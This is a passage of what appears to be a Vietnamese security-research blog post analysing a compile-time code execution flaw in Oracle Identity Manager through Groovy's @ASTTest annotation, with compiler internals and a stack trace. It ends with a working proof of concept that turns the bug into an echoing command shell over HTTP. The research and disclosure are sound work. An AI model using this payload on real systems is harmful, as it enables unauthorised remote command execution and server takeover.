</code></code></pre><p>t&#7841;i [4] l&#250;c n&#224;y Groovy s&#7869; kh&#7903;i t&#7841;o m&#7897;t <code>CompilationUnit</code> object (&#273;&#226;y ch&#237;nh l&#224; compiler) sau &#273;&#243; s&#7869; add ph&#7847;n code source tr&#432;&#7899;c &#273;&#243; &#273;&#227; &#273;&#432;&#7907;c parse r&#7891;i g&#7885;i t&#7899;i [5] &#273;&#7875; ti&#7871;n h&#224;nh compile.</p><p><code>CompilatationUnit.compile()</code> ch&#237;nh l&#224; n&#417;i Groovy th&#7921;c hi&#7879;n pipeline compile c&#7911;a m&#236;nh:</p><pre><code><code>public void compile(int throughPhase) throws CompilationFailedException {
    this.gotoPhase(1);
    throughPhase = Math.min(throughPhase, 9);

    while(throughPhase &gt;= this.phase &amp;&amp; this.phase &lt;= 9) {
        if (this.phase == 4) {
            this.doPhaseOperation(this.resolve);
            if (this.dequeued()) {
                continue;
            }
        }

        this.processPhaseOperations(this.phase);
        this.processNewPhaseOperations(this.phase);
        if (this.progressCallback != null) {
            this.progressCallback.call(this, this.phase); //ASTTestTransformation$1.call()
        }

        this.completePhase();
        this.applyToSourceUnits(this.mark);
        if (!this.dequeued()) {
            this.gotoPhase(this.phase + 1);
            if (this.phase == 7) {
                this.sortClasses();
            }
        }
    }

    this.errorCollector.failIfErrors();
}
</code></code></pre><p>L&#250;c n&#224;y compiler s&#7869; ch&#7841;y tu&#7847;n t&#7921; qua t&#7915;ng Compile Phase b&#7855;t &#273;&#7847;u t&#7915; phase 1 (INITIALIZATION) sau &#273;&#243; s&#7869; l&#7847;n l&#432;&#7907;t qua t&#7915;ng phase v&#224; th&#7921;c hi&#7879;n operation t&#432;&#417;ng &#7913;ng. T&#7841;i phase 4 (SEMANTIC_ANALYSIS), compiler g&#7885;i <code>resolve</code> v&#224; th&#7921;c thi to&#224;n b&#7897; AST Transformations &#273;&#227; &#273;&#432;&#7907;c set b&#7857;ng c&#225;ch g&#7885;i t&#7899;i <code>progressCallback.call</code> hay <code>ASTTestTransformation$1.call()</code></p><pre><code><code>public void call(ProcessingUnit context, int phaseRef) {
    CallSite[] var3 = $getCallSiteArray();
    // REDACTED
    if (BytecodeInterface8.isOrigInt() &amp;&amp; BytecodeInterface8.isOrigZ() &amp;&amp; !__$stMC &amp;&amp; !BytecodeInterface8.disabledStandardMetaClass()) {
        if (ScriptBytecodeAdapter.compareEqual(phase.get(), (Object)null) || ScriptBytecodeAdapter.compareEqual(phaseRef, var3[48].callGetProperty(phase.get()))) {
            //REDACTED
            Object testSource = var3[58].call(sbx, var3[59].call(var3[60].callGetProperty(testClosurex), 1), var3[61].call(sbx));
            Object var23 = var3[62].call(testSource, 0, var3[63].call(testSource, &#8220;}&#8221;));
            testSource = var23;
            CompilerConfiguration config = (CompilerConfiguration)ScriptBytecodeAdapter.castToType(var3[64].callConstructor(CompilerConfiguration.class), CompilerConfiguration.class);
            Reference customizer = new Reference(var3[65].callConstructor(ImportCustomizer.class));
            var3[66].call(config, customizer.get());
            Object var26 = source.get();
            var3[67].call(this.binding, &#8220;sourceUnit&#8221;, var26);
            Object var27 = BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1);
            var3[68].call(this.binding, &#8220;node&#8221;, var27);
            Object var28 = var3[69].call(var3[70].callConstructor(MethodClosure.class, LabelFinder.class, &#8220;lookup&#8221;), BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1));
            var3[71].call(this.binding, &#8220;lookup&#8221;, var28);
            Object var29 = var3[72].callGroovyObjectGetProperty(this);
            var3[73].call(this.binding, &#8220;compilationUnit&#8221;, var29);
            Object var30 = var3[74].call(CompilePhase.class, phaseRef);
            var3[75].call(this.binding, &#8220;compilePhase&#8221;, var30);
            GroovyShell shell = (GroovyShell)ScriptBytecodeAdapter.castToType(var3[76].callConstructor(GroovyShell.class, this.binding, config), GroovyShell.class);
            var3[77].call(var3[78].callGetProperty(var3[79].callGetProperty(source.get())), new _call_closure2(this, this, customizer));
            var3[80].call(var3[81].callGetProperty(var3[82].callGetProperty(source.get())), new _call_closure3(this, this, customizer));
            var3[83].call(var3[84].callGetProperty(var3[85].callGetProperty(source.get())), new _call_closure4(this, this, customizer));
            var3[86].call(var3[87].callGetProperty(var3[88].callGetProperty(source.get())), new _call_closure5(this, this, customizer));
            var3[89].call(shell, testSource);
        }
    } 
          //REDACTED
    }

}
</code></code></pre><p><code>ASTTestTransformation</code> l&#7845;y ClosureExpression t&#7915; annotation @ASTTest r&#7891;i l&#432;&#7907;c b&#7887; ch&#7881; c&#242;n:</p><pre><code><code>        try {
            java.lang.Runtime.getRuntime().exec(&#8221;calc&#8221;)
        } catch (Exception e) {}
</code></code></pre><p>v&#224; cu&#7889;i c&#249;ng g&#7885;i t&#7899;i <code>GroovyShell.evaluate()</code> &#273;&#7875; th&#7921;c thi &#273;o&#7841;n m&#227; tr&#234;n:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Xemx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Xemx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 424w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 848w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 1272w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Xemx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png" width="1174" height="355" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:355,&quot;width&quot;:1174,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Xemx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 424w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 848w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 1272w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>To&#224;n b&#7897; qu&#225; tr&#236;nh tr&#234;n &#273;&#432;&#7907;c di&#7877;n ra trong giai &#273;o&#7841;n compile kh&#244;ng ph&#7843;i runtime cho n&#234;n ta c&#243; th&#7875; th&#7921;c thi code t&#249;y &#253; &#8594; &#273;&#226;y c&#361;ng ch&#237;nh l&#224; sink c&#7911;a chain n&#224;y.</p><p>Ta c&#243; stack trace nh&#432; sau:</p><pre><code><code>exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:48, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:113, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:2, Script1
evaluate:413, GroovyShell (groovy.lang)
evaluate:435, GroovyShell (groovy.lang)
evaluate:417, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
call:112, ASTTestTransformation$1 (org.codehaus.groovy.transform)
compile:562, CompilationUnit (org.codehaus.groovy.control)
doParseClass:238, GroovyClassLoader (groovy.lang)
parseClass:201, GroovyClassLoader (groovy.lang)
parseClass:472, GroovyShell (groovy.lang)
parse:476, GroovyShell (groovy.lang)
parse:497, GroovyShell (groovy.lang)
parse:488, GroovyShell (groovy.lang)
validateScript:122, GroovyScriptExecutor (oracle.iam.application.vo)
compileScript:538, ApplicationManagerImpl (oracle.iam.application.impl)
</code></code></pre><h2><strong>Final POC</strong></h2><p>N&#7871;u b&#7841;n &#273;&#7875; &#253;, c&#225;c PoC nh&#432; c&#7911;a m&#236;nh &#7903; tr&#234;n ho&#7863;c c&#7911;a Searchlight &#273;&#7873;u th&#7921;c hi&#7879;n theo c&#225;ch g&#7885;i tr&#7921;c ti&#7871;p <code>java.lang.Runtime</code> &#273;&#7875; spawn process, ho&#7863;c m&#7903; m&#7897;t k&#7871;t n&#7889;i outbound ra b&#234;n ngo&#224;i. Tuy nhi&#234;n, c&#7843; hai ph&#432;&#417;ng ph&#225;p n&#224;y &#273;&#7873;u c&#243; nh&#7919;ng h&#7841;n ch&#7871; l&#7899;n. Ngay c&#7843; khi khai th&#225;c th&#224;nh c&#244;ng v&#224; &#273;&#7841;t &#273;&#432;&#7907;c RCE, k&#7871;t qu&#7843; c&#361;ng ch&#7881; l&#224; Blind RCE &#8211; t&#7913;c l&#224; kh&#244;ng c&#243; ph&#7843;n h&#7891;i tr&#7921;c ti&#7871;p &#273;&#7875; x&#225;c minh. Tr&#432;&#7901;ng h&#7907;p server kh&#244;ng cho ph&#233;p outbound, th&#236; c&#361;ng kh&#244;ng c&#243; c&#225;ch n&#224;o x&#225;c nh&#7853;n vi&#7879;c khai th&#225;c c&#243; th&#7921;c s&#7921; th&#224;nh c&#244;ng hay kh&#244;ng.</p><p>&#272;&#7875; kh&#7855;c ph&#7909;c h&#7841;n ch&#7871; &#273;&#243;, c&#249;ng v&#7899;i vi&#7879;c l&#7907;i d&#7909;ng script groovy kh&#244;ng b&#7883; sandbox, ta c&#243; th&#7875; d&#249;ng java Reflection API &#273;&#7875; access &#273;&#432;&#7907;c c&#225;c object request/response c&#7911;a Thread hi&#7879;n t&#7841;i v&#224; modify l&#7841;i logic t&#249;y &#253;, t&#7915; &#273;&#243; c&#243; th&#7875; control &#273;&#432;&#7907;c response tr&#7843; v&#7873; c&#7911;a OIM.</p><pre><code><code>import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def thread = Thread.currentThread()
            def execThread = Class.forName(&#8221;weblogic.work.ExecuteThread&#8221;).cast(thread)
            def work = execThread.getClass().getMethod(&#8221;getCurrentWork&#8221;).invoke(execThread)

            def handlerField = work.getClass().getDeclaredField(&#8221;connectionHandler&#8221;)
            handlerField.setAccessible(true)
            def handler = handlerField.get(work)

            def req = handler.getClass().getMethod(&#8221;getServletRequest&#8221;).invoke(handler)
            def res = handler.getClass().getMethod(&#8221;getServletResponse&#8221;).invoke(handler)

            def param = req.getParameter(&#8221;cmd&#8221;)
            def out = res.getWriter()

            if (param != null &amp;&amp; !param.trim().isEmpty()) {
                String[] cmds = [ &#8220;cmd.exe&#8221;, &#8220;/c&#8221;, param ] as String[]
                def process = Runtime.getRuntime().exec(cmds)
                def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
                String line
                while ((line = reader.readLine()) != null) {
                    out.println(line)
                }
                reader.close()
            }
            out.flush()
            res.flushBuffer()
        } catch (Throwable t) {
            
        }
    })
    def x 
}
</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vPvt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vPvt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 424w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 848w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 1272w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vPvt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png" width="1456" height="466" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:466,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!vPvt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 424w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 848w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 1272w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://vred.mbbank.com.vn/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading MB VRED's Substack! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item></channel></rss>